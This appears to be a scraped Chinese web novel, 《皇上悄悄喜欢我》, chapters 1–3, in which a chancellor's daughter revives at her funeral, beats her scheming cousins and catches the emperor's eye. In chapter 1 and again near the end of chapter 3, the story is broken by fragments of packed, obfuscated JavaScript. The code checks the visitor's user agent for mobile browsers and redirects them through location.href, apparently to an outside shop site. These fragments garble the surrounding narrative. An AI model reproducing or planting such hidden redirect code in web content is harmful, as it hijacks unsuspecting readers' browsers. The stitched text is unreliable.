《皇上悄悄喜欢我》 1. 第01章 建安六年,八月初八,黄历上写着大大的“宜殡葬”。 京城闻丞相府内外一片素白。今日是丞相独女闻歌的出殡之日,那位刚满十六岁、名动京城的才女,三日前在城郊寺庙后山失足坠崖,香消玉殒。 消息传开时,不知多少文人墨客扼腕叹息。闻歌的画作《中秋万民朝月图》至今仍挂在皇家陈列馆最显眼处——那是她十四岁时的作品,笔触灵动,将京城中秋夜景描绘得宛如仙境,更难得的是画中贵族与平民同乐的和美气象,先帝曾赞“此画可见盛世民心”。 都说自古红颜多薄命,可这般才情绝艳的少女猝然离世,仍是让人难以接受。 丞相府正厅已被布置成灵堂。 正中停着一具乌沉木棺椁,木色深沉如墨,这是皇上特赐的恩典——万年乌沉木,可保尸身不腐。棺盖未完全合拢,透过缝隙能看见躺在其中的少女。她穿着藕荷色绣百蝶裙衫,那是她生前最爱的颜色。面容经过妆点后竟比生前更显红润,唇瓣如樱,长睫低垂,仿佛只是睡着了。 任谁看了都要叹一句:这般容貌,怎就福薄至此? 灵堂四壁挂满白幡,幡上朱砂绘制的符咒在烛火映照下显出几分诡异。供桌上香烛长明,三牲六果摆放整齐,青烟缭绕间,两百尼姑在院中诵经的声音如潮水般涌来,木鱼声、钟磬声、诵经声交织成沉重的哀乐。 闻丞相拄着拐杖站在府门前迎客。 这位三朝元老仿佛一夜之间老了十岁。昔日笔挺的脊背佝偻了,花白的胡须在秋风中颤抖,脸上泪痕未干,见人便拱手还礼,声音嘶哑得几乎说不出话。 朝野上下无人不敬重这位老臣。当年北境战乱,他以文臣之身率两万步兵断后,硬生生歼敌十万,救下三十万难民,换来边境四十年太平。这样的功绩,这样的为人,如今却要承受白发人送黑发人之痛,任谁看了都心酸。 前来吊唁的人络绎不绝。皇亲贵胄、文武百官、受过丞相恩惠的百姓……车马从丞相府门口一直排到街尾。 巳时三刻,几辆华贵马车停在府门前。 最先下车的是个身着玄色锦袍的年轻人,约莫二十出头,眉眼凌厉,气质沉肃。正是当今皇上萧昌——十岁登基,十四岁亲政,八年间平定南疆叛乱、整顿朝纲,是个手腕强硬的少年天子。 紧随其后的是位三十余岁的中年男子,月白长衫,面容温润,举手投足间尽显儒雅。这是皇叔萧璟,太祖第九子,曾是最热门的皇位继承人,如今在朝中领着闲职,却无人敢小觑他的影响力。 最后下车的武将虎背熊腰,一脸络腮胡,正是皇后胞兄、镇北大将军赵柯成。他瞥了眼灵堂方向,嘴角几不可察地扯了扯。 这三人,恰好代表了朝中三大派系:以闻丞相为首的老臣派,以皇叔为首的宗亲派,以赵柯成为首的新贵派。平日朝堂上明争暗斗不休,今日倒是齐聚灵堂,表面功夫做得十足。 皇上接过侍从递来的香,缓步走入灵堂。他在棺前站定,目光落在棺中少女脸上,停留了片刻。 “可惜了。”他低语,声音轻得只有自己能听见。 三炷香插入香炉,青烟笔直上升。皇叔和赵将军依次上香,仪式庄重肃穆。 后院厢房里,丞相夫人又一次从昏睡中惊醒。 “歌儿……我的歌儿……”她喃喃着,眼泪早已流干,只剩空洞的眼神望着帐顶。四十岁才得了这么个女儿,如珠如宝地养到十六岁,怎就一场祭拜变成了永别? 她恨啊。恨自己为什么要带女儿去寺庙,恨那处悬崖,恨这无常的世道。 前院忽然传来钟磬三响——宗亲跪灵的时候到了。 灵堂内,闻歌的两位义弟跪在最前排。这对双胞胎尚在襁褓中就被闻丞相收养,他们的父亲是丞相得意门生,查案时夫妇双双遇害,凶手至今未找到。两个孩子不知自己身世,只当丞相是亲生父亲,此刻哭得浑身颤抖。 第二排跪着三位堂亲。 最左边的是堂哥闻义博,闻丞相二哥的儿子。此人游手好闲,是青楼赌坊常客,此刻低着头,嘴角却压不住地上扬——叔父家产,终于有机会到手了。 中间跪着堂妹闻清,自诩天下第一美人,却总被闻歌压过风头。她捏着帕子假装拭泪,心里早已乐开了花。 最右边是闻涵,闻义博的亲妹,琴棋书画样样被闻歌比得黯淡无光。听到堂姐死讯那日,她关起门笑了整整一个时辰。 后排乃至院中,还跪着数十位旁亲远戚,个个表情各异,真心哀痛的怕是没几个。 灵堂两侧,闻歌的贴身丫鬟小桃和小红趴在棺椁旁,哭得几乎昏厥。她们都是闻歌从街上捡回来的孤女,若非小姐心善,早就不知死在哪个角落了。 “小姐……您怎么就这样走了……”小桃抓着棺木边缘,指甲掐得发白。 就在这时—— “咔。” 一声轻微的异响从棺内传出。 小桃愣住,以为自己听错了。 紧接着,“咔嚓咔嚓”的声音连续响起,像是木头在摩擦。未等她反应过来,棺盖突然向一侧滑动! “轰——!!!” 厚重的乌沉木棺盖重重砸在地上,铺地的青石板应声裂开蛛网般的纹路。 灵堂内瞬间死寂。 所有诵经声、哭泣声、议论声戛然而止。两百尼姑僵在原地,敲木鱼的手悬在半空,张着嘴却发不出声音。跪在地上的宗亲们齐刷刷抬头,眼睛瞪得滚圆。 在一片凝固的空气中,棺椁里缓缓坐起一个人。 藕荷色裙衫,乌黑长发,苍白中透着诡异红润的脸—— 正是本该死去的闻歌。 “呸!”她皱着脸吐出一颗莹白的珠子,那珠子落地后“叮叮当当”滚出老远,“什么玩意儿卡在嘴里,难受死了……” 说完,她极其自然地伸了个懒腰,双臂高举,拳头握紧,还舒服地“嗯”了一声。 这一连串动作行云流水,就像早上刚睡醒。 灵堂里静得能听见烛火“噼啪”的爆芯声。 三秒。 五秒。 “啊——!!!” 不知谁先发出一声凄厉尖叫,瞬间点燃了整个灵堂。 “诈尸!诈尸啦!” “鬼啊——!” “救命——!” 人群炸开了锅。刚才还庄严肃穆的灵堂,转眼成了混乱的修罗场。贵妇们提着裙摆尖叫逃窜,官员们狼狈地互相推挤,尼姑们扔了法器抱头鼠窜。闻义博连滚带爬地往后躲,闻清的高髻在拥挤中散开,闻涵直接两眼一翻晕了过去。 小桃和小白瘫坐在棺椁旁,浑身发抖,却莫名地没有逃跑——她们死死盯着那个坐起来的身影,眼泪又涌了出来,这次却是说不清是恐惧还是希望。 闻歌坐在棺材里,茫然地眨眨眼。 什么情况? 她低头看看自己身处的“床”——哦,是棺材。再抬头看看这满堂白幡、香烛供品,以及那些见了鬼一样奔逃的人群。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992170|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我死了吗?”她喃喃自语,抬手用力掐了把自己胳膊。 “嘶——疼!” 那就是没死。可如果没死,她怎么会躺在棺材里?记忆像碎掉的瓷片,东一片西一片…… 对了,她记得自己好像在追一个江洋大盗,叫什么“毒狼”。那厮狡猾得很,她追了三天三夜,最后在悬崖边……中了一箭? 再往后就模糊了。只隐约记得有白光照下来,云端站着个白胡子老头,絮絮叨叨说了一堆什么“劫难”“仙缘”…… 闻歌甩甩头,想把那些混乱的画面甩出去。手往身侧一按,却摸到个硬物。 她低头,从身下抽出一柄匕首。 匕首长约五寸,鞘身漆黑,没有任何纹饰,朴素得近乎寒酸。可就在她手指触到刀柄的瞬间,一段清晰的记忆涌上心头—— 云端的白胡子老头将这把匕首递给她,神色严肃:“此刀名‘问心’,待你历经人世劫难,自有机缘拔刀出鞘。刀出之日,便是你得道之时。” 说完,那老头还拿着拂尘在她头上不轻不重敲了三下:“切记,切记。” 闻歌握紧匕首,冰凉的触感让她彻底清醒。 所以……她没死成,反而得了场仙缘?还要完成什么“劫难”才能拔刀修仙? 这都什么跟什么啊! 她正哭笑不得,忽然感觉到一道视线。 闻歌抬眼,穿过混乱奔逃的人群,与灵堂门口那道玄色身影对上了目光。 皇上萧昌没有逃。 他就站在那里,单手负后,静静地看着她。那双深邃的眼睛里没有恐惧,没有震惊,只有一种近乎审视的探究,仿佛在打量一件突然活过来的藏品。 四目相对。 闻歌心里“咯噔”一声。这位少年天子她见过几次,在宫宴上,在御书房——每次他看她的眼神都让她不太舒服,像是猎人在评估猎物。 现在,这眼神更复杂了。 “护驾!快护驾!”赵柯成的大嗓门打破了诡异的寂静,侍卫们这才反应过来,纷纷拔刀挡在皇上身前。 皇叔萧璟站在皇上身侧,温润的脸上第一次露出惊疑不定的神色。他看看棺中少女,又看看皇上,眉头微蹙。 闻歌知道不能再待下去了。 她撑着棺沿跳出来——动作利落得完全不像个“死人”,藕荷色裙摆在空中划出弧度。落地时还有些踉跄,毕竟在棺材里躺了三天,腿脚发麻。 小桃和小白终于反应过来,连滚爬爬地扑过来扶住她:“小、小姐……您真的……” “没死。”闻歌言简意赅,目光扫过两个丫鬟哭花的脸,心里一软,“详细的一会儿再说,先离开这儿。” 她抬眼最后看了眼灵堂门口。 皇上仍站在那里,隔着人群与刀锋,目光如炬。他忽然开口,声音不大,却清晰传遍灵堂: “闻歌郡主死而复生,实乃天佑。还不快请郡主回房歇息?” 这话说得冠冕堂皇,可闻歌听出了弦外之音——这是要“请”她下去,好好“查验”了。 侍卫们面面相觑,一时不知该把这“诈尸”的郡主当鬼抓了,还是当贵人请了。 闻歌深吸一口气,握紧了袖中的匕首。 看来这场“劫难”,从她坐起来的那一刻,就已经开始了。 而那位高深莫测的皇上,恐怕会是这劫难里,最难对付的一环。 她忽然想起老头敲她那三下拂尘。 三下……是什么意思来着? 2. 第02章 堂外的人还不知道发生了什么,探头往里一看——只见本该躺在棺材里的闻歌正坐在棺沿上晃着腿——顿时吓得魂飞魄散,转身就跑。 消息像野火般蔓延开来。 “诈、诈尸啦!” “闻家小姐活了!” “鬼啊——!” 闻歌此刻却没空管这些。 她的全部注意力,都被供桌上那些琳琅满目的糕点果子吸引住了。枣泥糕、荷花酥、蜜饯果子、时令鲜梨……摆了满满一桌,在烛火映照下泛着诱人的光泽。 “咕噜——” 肚子诚实地发出抗议。闻歌下意识咽了咽口水。 这是哪户人家办白事?排场也太大了。不过她现在顾不上追究这些——三天没吃饭,她感觉自己能吞下一头牛。 用力一蹬棺沿,她试图潇洒地跳出来。 “哎呦!” 腿脚不争气。在棺材里躺了三天,身体僵硬得像块木头,这一蹬非但没借上力,反而脚踝磕在棺沿上,整个人向前栽了出去—— “砰!” 脸朝下摔在青石板上,藕荷色裙摆糊了一地,发髻散开,簪子叮叮当当滚出去老远。 “什么破地方……”闻歌骂骂咧咧地爬起来,拍了拍裙摆上的灰,又拿袖子擦了擦手,“摔死本姑娘了。” 抬头看见供桌,眼睛又亮了。 她一脚踩上供台——动作豪迈得全然不像个大家闺秀——伸手抓了块枣泥糕就往嘴里塞。 狼吞虎咽。 是真的“狼吞虎咽”。糕点粉末沾了满脸,腮帮子鼓得像仓鼠。她左手糕点右手梨,左右开弓,吃得风卷残云。 饿。太饿了。那感觉像是三辈子没吃过饭。 至于这些东西干不干净?祭品?谁管它!先填饱肚子再说! “大胆妖孽!” 一声厉喝从身后传来。 闻歌头都没回,继续埋头苦吃。含糊不清地嘟囔:“别吵……等我吃完……” “我今天就灭了你!” 破风声起。闻歌耳朵微动,头也不回地反手一抓—— “啪!” 木棍在她头顶一寸处停住,纹丝不动。 她这才慢悠悠转过头,鼓着塞满糕点的腮帮子,冷冷扫了来人一眼。 是闻义博。这位堂哥此刻脸色煞白,握着木棍的手在抖。 闻歌眼神里的杀气如有实质,吓得闻义博连退三步,手一松,木棍“哐当”落地,他自己也踉跄着差点摔倒。 “你、你变成鬼……我也不怕!”闻义博强撑着放狠话,声音却抖得不成样子。 闻歌轻蔑地勾了勾手指。 ——放马过来。打扰本姑娘吃饭?扒了你的皮。 两颗石子“嗖嗖”飞来。 闻清和闻涵不知何时捡了石子,躲在柱子后面朝她猛砸。 闻歌看都没看,随手抡起刚才那根木棍一挡—— “铛!铛!” 石子反弹落地。她甩手扔掉木棍,腾出手接着吃枣泥糕,全程背对着他们。 小样。就这三脚猫功夫,也敢出来丢人现眼? “你去死吧!”闻义博恼羞成怒,捡起木棍又冲上来。 闻歌终于烦了。 她一个箭步闪到他面前——左手糕点右手梨,咬了一口梨子,身上的糕点粉末还在簌簌往下掉。肩膀一耸,向上顶开他握棍的手,木棍脱手飞出,顺势一拳—— “砰!” 闻义博整个人飞出去,摔在墙角,半天爬不起来。 “有完没完?”闻歌嚼着梨子,口齿不清。 闻清、闻涵吓傻了,缩在墙角你看看我,我看看你,满脸惊恐。 ——这不对啊。闻歌不是那个文文静静、连蚂蚁都舍不得踩死的大家闺秀吗?怎么变得这么……凶残? 肯定是妖怪附身了!三人交换眼神,都从对方眼里读出了这个结论。 闻歌瞥了他们一眼,心里冷笑。 三个愣头青,就算把头想破了,又能奈我何? 堂下围观的人群指指点点,议论声嗡嗡作响: “这真是闻家小姐?” “怎么跟变了个人似的……” “以前多温婉的姑娘,现在这……这简直像山匪!” “不会真是妖怪上身了吧?” “听说坠崖时撞坏了脑子……” 闻歌全当没听见。她正瞄准下一块荷花酥。 “歌儿——!” 一声撕心裂肺的哭喊从门口传来。 丞相夫人跌跌撞撞冲进来,跨门槛时险些绊倒,却不管不顾地扑过来,一把抱住闻歌。 “我可怜的女儿……你真的活过来了……娘不是在做梦吧……” 闻歌被这么一勒,刚咽下去的糕点全堵在喉咙里。 “唔……!”她脸憋得通红,双手拼命往外挣,好不容易挣脱开来,抓起供桌上的茶杯就往嘴里灌。 “咕咚咕咚——” 水洒了一身,但总算把那口气顺下去了。 闻歌长舒一口气,心有余悸地拍着胸口。 ——谁啊这是?想噎死我? 她抬眼打量抱着自己的老妇人。约莫六十岁年纪,衣着华贵但此刻鬓发散乱,哭得眼睛红肿,口中反复念叨着“女儿”。 女儿?我是她女儿? “丫头,谁把你弄成这样的……”丞相夫人捧着闻歌的脸,泪如雨下,“告诉娘,娘给你做主……” 我哪样了?我不是好好的吗?闻歌一头雾水。倒是你们,为什么把我放棺材里? “你怎么不说话?”丞相夫人见她沉默,更急了。 闻歌缓过气,试探地问:“老妇人,您是……?” “我是你娘啊!” 闻歌愣住。 “您是我娘?”她眨眨眼,心里飞快盘算——我怎么不记得有这么个娘?看这穿戴,非富即贵。我有这么有钱的娘吗?没有啊。 “是,是!我就是你娘!”丞相夫人哭得泣不成声,见女儿连自己都不认得,更是悲从中来。 一个丫鬟战战兢兢上前扶住夫人,虽也怕得发抖,却还是强撑着安慰:“夫人,小姐没事了是喜事,您别太伤心……”说着自己也抹起眼泪,却又挤出笑来,“您看,小姐这不是好好的吗?” 丞相夫人擦了泪,仔仔细细打量女儿全身上下,生怕漏掉半点伤痕:“你哪里不舒服?快让娘看看……”说着就要撩她袖子。 闻歌下意识后退半步,低头看看自己——藕荷色裙衫完好无损,身上没伤口,就是沾了不少灰和糕点渣。 “我很好。”她实话实说。 “歌儿——!” 又一声呼唤传来,这回是男声。 闻丞相拄着拐杖踉跄奔来,看见活生生站在那儿的女儿,老泪纵横:“我的女儿……你真的……真的活过来了……” 他扔掉拐杖,颤巍巍伸出手,想碰又不敢碰,生怕这只是一场幻梦。 闻歌看着眼前这位老人——虽身形佝偻、满面泪痕,却自有一股久居高位的威严气度。他叫她“女儿”。 “爹爹?”她试探地叫了一声。 “哎!哎!”闻丞相激动得声音发颤,“你认得爹爹了?” 闻歌摇摇头。 闻丞相眼中的光黯了黯,却仍不死心:“你再好好看看?我是你爹爹啊……” 闻歌还是摇头。 她心里也纳闷——今天什么日子?都抢着认我当女儿?我这么抢手吗? 闻丞相流着泪,执拗地盯着她:“你再想想……再好好想想……” 闻歌闭了闭眼,努力在混沌的记忆里搜寻。 最先浮现的,是云端白胡子老头的话:“你是小仙女,下凡历劫,待寻到有缘人,便可拔刀成仙……” 接着是几个破碎画面: ——飞檐走壁追捕要犯,巷口冷箭破空而来; ——寺庙后山失足坠落,崖边有人影闪过,脖颈骤然被勒紧; ——还有……还有一个暧昧模糊的场景:薄纱帐里,她慵懒躺着,一个男子靠近,呼吸可闻…… “你是谁?”她听见自己声音低哑。 “我是你夫君啊。”男子调笑,手揽上她的腰。 “啪!”一记耳光。 “爱妃今日又玩新花样?”男子不怒反笑。 “不要脸!”她扬手再打。 “禀报皇上——”有人闯进来。 “滚!没眼力见的东西!”男子厉声呵斥。 ……皇上? 闻歌猛地睁眼。 这么凶的皇上,肯定不是好东西。 最后一个 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闻歌站在原地,任由丞相夫人抱着自己痛哭,任由闻丞相颤抖着手轻拍她的肩。 她心里却异常清醒。 ——丞相。当朝位高权重的丞相。 ——而我是他的女儿。 看着这对老夫妇失而复得、喜极而泣的模样,闻歌忽然心软了。 罢了。她暗想。人家刚死了女儿,怪可怜的。我发发善心,认了这门亲,安慰安慰他们,我又不损失什么。 何况……认个丞相当爹,有权有势,好像也不错? 正想着,一道视线如芒在背。 闻歌抬眼,穿过喧闹的人群,与灵堂外廊下那道玄色身影对上了目光。 皇上萧昌还没走。 他负手立于廊柱旁,不知看了多久。此刻见她望来,唇角竟勾起一丝极淡的弧度——那不是笑,更像猎手看见猎物落入网中的玩味。 四目相对,空气无声胶着。 闻歌握紧了袖中的匕首。 她忽然明白了老神仙那三下拂尘的含义—— 这才第二天。 她的“劫难”,已经找上门了。 廊檐下,萧昌收回目光,转身朝府外走去。 贴身太监王德全小步跟上,压低声音:“陛下,闻家小姐这事……” “有趣。”萧昌吐出两个字。 王德全摸不准圣意,小心翼翼道:“可要派人查查?死而复生,实在蹊跷……” “查自然要查。”萧昌踏上马车,临掀帘前,回头看了眼灵堂方向,“不过……朕倒要看看,这只‘死而复生’的小雀儿,能扑腾出什么花样。” 马车缓缓驶离丞相府。 车内,萧昌闭目养神,指节在膝上轻轻叩击。 三日前,闻歌坠崖的消息传来时,他并未多想。一个臣子之女罢了,死了便死了,厚葬便是。 可如今她“活”了。 而且活得像换了个人。 ——那身手,那眼神,那吃东西时狼吞虎咽的架势……哪还有半分京城第一才女的影子? “陛下,”王德全隔着车帘低声禀报,“赵将军方才递话,说闻家小姐死得蹊跷,活得也蹊跷,怕是……有妖孽作祟。” 萧昌睁开眼,眸色深沉。 “妖孽?”他轻笑,“朕看,是人心里有鬼。” 马车碾过青石板路,声响轱辘。 丞相府内,闻歌终于从“爹娘”的怀抱中脱身,被丫鬟们簇拥着往后院去。 路过廊下时,她瞥见角落阴影里,闻义博三人正聚在一起低声说着什么。见她看过来,三人立刻噤声,眼神躲闪。 闻歌挑了挑眉。 ——小麻烦。 不过比起刚才那位“皇上”带来的压迫感,这些堂亲的算计,简直不值一提。 她摸了摸袖中匕首,冰凉的触感让她安心几分。 老神仙说,要“历经劫难”才能拔刀。 那她就看看—— 这丞相千金的身份,这死而复生的谜团,这虎视眈眈的皇上,还有这些各怀鬼胎的“亲人”…… 到底能织成怎样一张网。 而她这只“小雀儿”,偏要在这网里,撕开一条生路。 3. 第03章 闻丞相紧紧抓着女儿的手,老泪纵横的脸上终于绽出笑容:“好女儿……你认得爹爹了,你真的认得爹爹了!” 那双手粗糙温暖,带着常年握笔留下的薄茧,此刻却颤抖得厉害。闻歌能感觉到掌心传来的温度,还有那份失而复得、几乎要满溢出来的狂喜。 丞相夫人攥着她另一只手,眼泪怎么擦都擦不完:“女儿啊……你可知道这几日,娘的心都要碎了……”声音哽咽,每个字都浸着三天三夜熬干的血泪。 灵堂里的人群渐渐从惊恐中缓过神来。眼见丞相夫妇与“死而复生”的女儿相认,那些达官贵人迅速换上了另一副面孔——惊疑转为惊讶,恐惧化作笑容,恭喜声、道贺声此起彼伏。 “恭喜丞相!贺喜夫人!” “令嫒大难不死,必有后福!” “此乃天降祥瑞啊!” 一时间,灵堂仿佛从殡葬现场变成了喜庆宴席。只有角落里的闻义博、闻清、闻涵三人,脸色越来越难看。 闻义博盯着被众人簇拥的闻歌,牙关咬得咯咯响。他好不容易等到这个继承家产的机会,怎能让这死丫头又活过来? “叔父!”他忽然扬声,声音尖利得刺耳,“您要当心!她是妖怪!绝非凡人!” 闻清立刻帮腔:“是啊叔父!哪有人死了三天还能复活的?闻所未闻!” 闻涵也怯怯附和:“大夫都确诊了的……必是妖邪附体!” “妖怪”二字像针一样扎进闻歌耳朵里。 她缓缓转过头,眼神冷了下来。 ——嫌我刚才打得太轻是吧?还敢在这儿胡说八道? “给我闭嘴。”她声音不高,却带着一种沉甸甸的压迫感。 闻义博被她眼神一扫,脊背发凉,却仍强撑着:“妖、妖怪!我们不怕你!” “闻歌活着的时候我们不怕,成了妖怪更不怕!”闻清挺起胸膛,声音却发虚。 “不、不怕你……”闻涵躲在两人身后,小声重复。 从他们的话里,闻歌捕捉到一个名字。 闻歌。 原来这身体的主人叫闻歌。她默默记下。 “呱噪。”闻歌松开父母的手,往前踏了一步,“再胡说,小心我撕烂你们的嘴。” 这一步踏出,周身气场骤变。方才那个狼吞虎咽吃祭品的“饿鬼”,此刻竟有种凛然不可侵犯的威势。 闻义博被这气势慑得后退半步,随即恼羞成怒,对着身后缩成一团的仆从吼道:“你们给我上!拿下这个妖孽!” 仆从们面面相觑,上前一步,又退后两步,看看闻义博,又看看闻歌,腿肚子直打颤:“公、公子……这……” “怕什么!”闻义博跺脚,“一个女流之辈,还能翻了天不成!” 仆从苦着脸:“可、可不知她是人是妖啊……” “拿下她,我重赏!”闻义博咬牙。 闻清见状,也推了推身边的丫鬟:“你也上!我也赏!” 闻涵有样学样:“关键时候,别给我丢脸!” 六个仆从丫鬟被逼着,一步步挪上前。他们手里没有武器,只能赤手空拳,动作僵硬得像提线木偶。 闻义博见叔叔婶子还站在闻歌身边,心思一转——这丫头双手被父母拉着,正是动手的好机会! “上!”他大喝一声,纵身扑去,动作竟有几分狠辣。 心想着这次看你往哪儿逃! 闻清、闻涵也紧随其后,六人齐齐冲上! 电光石火间,闻歌动了。 她轻巧地抽回手,将丞相夫妇往身后一护,同时抬腿—— “砰!” 一脚正中闻义博胸口。 “噗——”闻义博倒飞出去,重重撞在廊柱上,喷出一口血雾,软软滑坐在地。 闻歌落地,刚好站在冲来的闻清、闻涵面前。她双手齐出,按住两人脑袋,往中间一合—— “咚!” 脑门对脑门,撞得结结实实。 两人眼前金星乱冒,还没反应过来,脸上又各挨了一记清脆的耳光。 “啪!啪!” 声音响亮得让整个灵堂瞬间安静。 闻歌左右开弓,一脚一个,将两人踹趴在地。 “哎呦……”闻清趴在地上哀嚎。 “我的腰……”闻涵疼得直抽气。 剩下三个仆从丫鬟僵在原地,看着闻歌转身,那双眼睛里没有杀气,却有种更可怕的平静——仿佛他们只是碍事的蝼蚁,随手就能碾死。 “滚。”闻歌吐出一个字。 三人如蒙大赦,连滚带爬地退开。 闻歌双手叉腰,看着地上狼狈的三人,忽然笑出声来。 “今天见识到本姑娘的厉害了吧?”她挑眉,笑容里带着几分顽劣,“下次再敢胡说,可就不是这点教训了。” 丞相和丞相夫人这才从惊愕中回过神。方才一切发生得太快,他们甚至没来得及阻止。 “歌儿,你……”丞相夫人看着女儿,眼神复杂——这是她的歌儿,可又好像不是。她的歌儿从来温婉娴静,连大声说话都不曾有过。 闻歌读懂了母亲眼中的疑惑,心里轻叹一声。 ——抱歉,您原来的女儿可能真的回不来了。但现在站在这里的,会替她好好活着。 闻义博扶着柱子,艰难地站起身。他弯着腰,疼得直不起身,一瘸一拐往外走,临走前还回头瞪了闻歌一眼:“你……你给我等着!” 闻清和闻涵在丫鬟搀扶下也往外挪,嘴里小声咒骂:“好你个闻歌……死都死不透……迟早再弄死你……” 这话飘进闻歌耳中,像一把钥匙,忽然打开了记忆的某个角落。 破碎的画面闪过—— 寺庙后山的悬崖边,一只雪白的小狗瑟缩在崖边,呜咽着不敢动弹。 “哎呀,好可怜……”少女的声音,温柔又焦急。 她提着裙摆小心靠近,伸手想去抱那只小狗。脚下忽然一滑——那块石头是松动的! 坠落。风声呼啸。最后一眼,她看见崖顶上,闻义博三人探出的头,脸上是得逞的笑。 那只狗……是他们故意放在那里的。 他们知道闻歌心地善良,一定会去救。 所以他们设了这个局。 闻歌闭了闭眼,再睁开时,眸底结了冰。 三个狗东西。 害死原来的闻歌不够,现在还想害我? 她对着那三人的背影,扬声说道:“你们也给我记好了——凡事别做太绝。天道好轮回,苍天饶过谁。” 这话说得平静,却让闻义博三人脊背一寒。 闻丞相听出女儿话里有话,皱眉问道:“歌儿,他们……做了什么?” 闻歌看向父亲,眼神复杂:“爹爹不妨亲自问问他们。” 闻丞相脸色沉了下来。他了解这几个侄儿侄女,平日就不安分,若真对歌儿做了什么…… “你们三个,站住。”他声音不高,却带着不容置疑的威严。 闻义博心里“咯噔”一声,额头冒出冷汗。闻清、闻涵更是脸色惨白,腿都软了。 三人被闻府侍卫拦下,硬着头皮转回身。 “说。”闻丞相走到他们面前,目光如炬,“你们对歌儿做了什么?” 闻义博强作镇定:“叔、叔父……我能做什么?您不能听闻歌胡说……” “她现在是人是妖都未可知!”闻清急着插嘴。 “闭嘴!”闻丞相厉喝,“一口一个‘妖怪’,你们存的什么心?!” 他转向闻清:“你说。” 闻义博拼命朝闻清使眼色——不能说!说了就完了! 闻清咽了口唾沫:“叔父……我真没做什么……” “不老实是吧?”闻丞相的声音冷了下来,“那就休怪我动家法。” “家法”二字一出,三人同时哆嗦。 闻涵眼珠急转,忽然捂着额头呻吟起来:“哎呦……叔父……我、我知道……” 闻义博和闻清瞪大眼睛,拼命摇头。 闻涵却自顾自说下去:“闻歌姐姐不是妖怪……我们、我们只是平日和她有些过节,想趁机诬赖她……其他的,真的没有了……” 闻义博和闻清松了口气——这丫头还算机灵,没把悬崖的事捅出来。 闻歌却在心里冷笑。 避重就轻。真会说话。 “放肆!”闻丞相怒极,“此种场合,还敢信口雌黄!来人,板子伺候!” 侍卫很快搬来长凳、取来家法板子。闻义博三人被按在凳上,板子高高扬起—— “住手!” 一声急喝从门口传来。 闻清的母亲——丞相的二嫂王氏急匆匆赶来,身后还跟着个青年,正是闻清的兄长、新科状元闻阙之。 王氏一把推开执板子的侍卫,将女儿从凳上拉起来:“三弟!你这是做什么!孩子们犯了什么天大的错,要动家法?!” 闻丞相正在气头上:“你问问他们干了什么好事!” “母亲救我!”闻清哭喊。 “多大的事,至于这样?”王氏护着女儿,脸色不善,“今天我看谁敢动我女儿!” 侍卫们迟疑地看向丞相。 “等等。”闻阙之上前一步,朝闻丞相躬身行礼,“叔父息怒。侄儿有要事禀报,可否先容我一言?” 他从怀中取出一份明黄奏折,双手呈上。 闻丞相接过,展开一看,眉头越皱越紧:“这……怎么会发生这种事……” 他喃喃自语,完全忘了眼下还在惩戒子侄。 闻阙之趁此机会,低声问母亲发生了什么。王氏简单说了几句,重点全在“闻歌死而复生”上。 “什么?!”闻阙之愕然抬头,看向灵堂中央那个站在父母身边的少女。 藕荷色裙衫,乌发如云,面容明艳——正是三日前他亲眼看见入殓的堂妹闻歌。 可又好像不是。 那个闻歌温婉如水,眼前这个却……眼神锐利,脊背挺直,周身有股说不清道不明的气场。 “叔父,”闻阙之压下心中惊疑,提醒道,“堂妹她……真的复活了?” 闻丞相这才从奏折中回过神,点头道:“是,歌儿活过来了。”他顿了顿,看着手中的奏折,又看看女儿,神色复杂,“此事……容后再议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻丞相将奏折重重拍在案上,脸色铁青:“江南水患,流民数十万……赈灾银两被层层克扣,到百姓手中十不存一!这帮蛀虫!” 闻阙之站在案前,沉声道:“叔父,皇上将此案交予侄儿查办,是信任,也是试探。侄儿年轻,需叔父指点。” 闻丞相揉着眉心,半晌才道:“此案牵连甚广。你可知,负责江南赈灾的钦差是谁的人?” 闻阙之默然片刻:“赵柯成,赵将军的妻弟。” “新贵派的手,伸得太长了。”闻丞相叹息,“皇上将此事交给你,是希望借我们闻家之手,敲打赵家。可这差事……不好办。” “侄儿明白。”闻阙之点头,忽然话锋一转,“叔父,堂妹她……” 闻丞相抬眼看他。 “死而复生,实在蹊跷。”闻阙之斟酌着词句,“方才在灵堂,侄儿观堂妹言行……与从前判若两人。” 闻丞相沉默良久。 “我知道。”他缓缓道,“可她是我的歌儿。只要她还活着,其他的……都不重要。” 这话说得沉重。闻阙之听出了弦外之音——叔父也在怀疑,但他选择了相信。 “倒是你,”闻丞相看向侄儿,“查案时,多加小心。赵柯成不是善茬,他背后……还有皇后。” 闻阙之躬身:“侄儿谨记。” 皇宫,御书房。 萧昌坐在龙案后,指尖轻叩桌面。 王德全躬身禀报:“陛下,丞相府那边传来消息,闻小姐确实‘活’了。而且……身手了得,当众将几个堂亲打了。” “哦?”萧昌挑眉,“详细说说。” 王德全将灵堂发生的事一一道来,说到闻歌一脚踹飞闻义博时,萧昌竟低笑出声。 “有意思。”他道,“死而复生,性情大变,还凭空多了身功夫……王德全,你说这是怎么回事?” 王德全冷汗直冒:“奴才……奴才不知。” “朕看,是有人借尸还魂。”萧昌轻声道,眼神幽深,“或者……根本不是原来那个人。” 他想起灵堂里那个少女的眼神——锐利,清明,没有半分闺阁千金的怯懦。 那样的眼神,他只在两个人身上见过。 一个是战场上的死士。 另一个……是他自己。 “继续盯着。”萧昌吩咐,“朕倒要看看,这只‘小雀儿’,还能扑腾出什么花样。” “是。”王德全应声退下。 萧昌独自坐在烛火里,指尖无意识摩挲着案上一方玉佩。 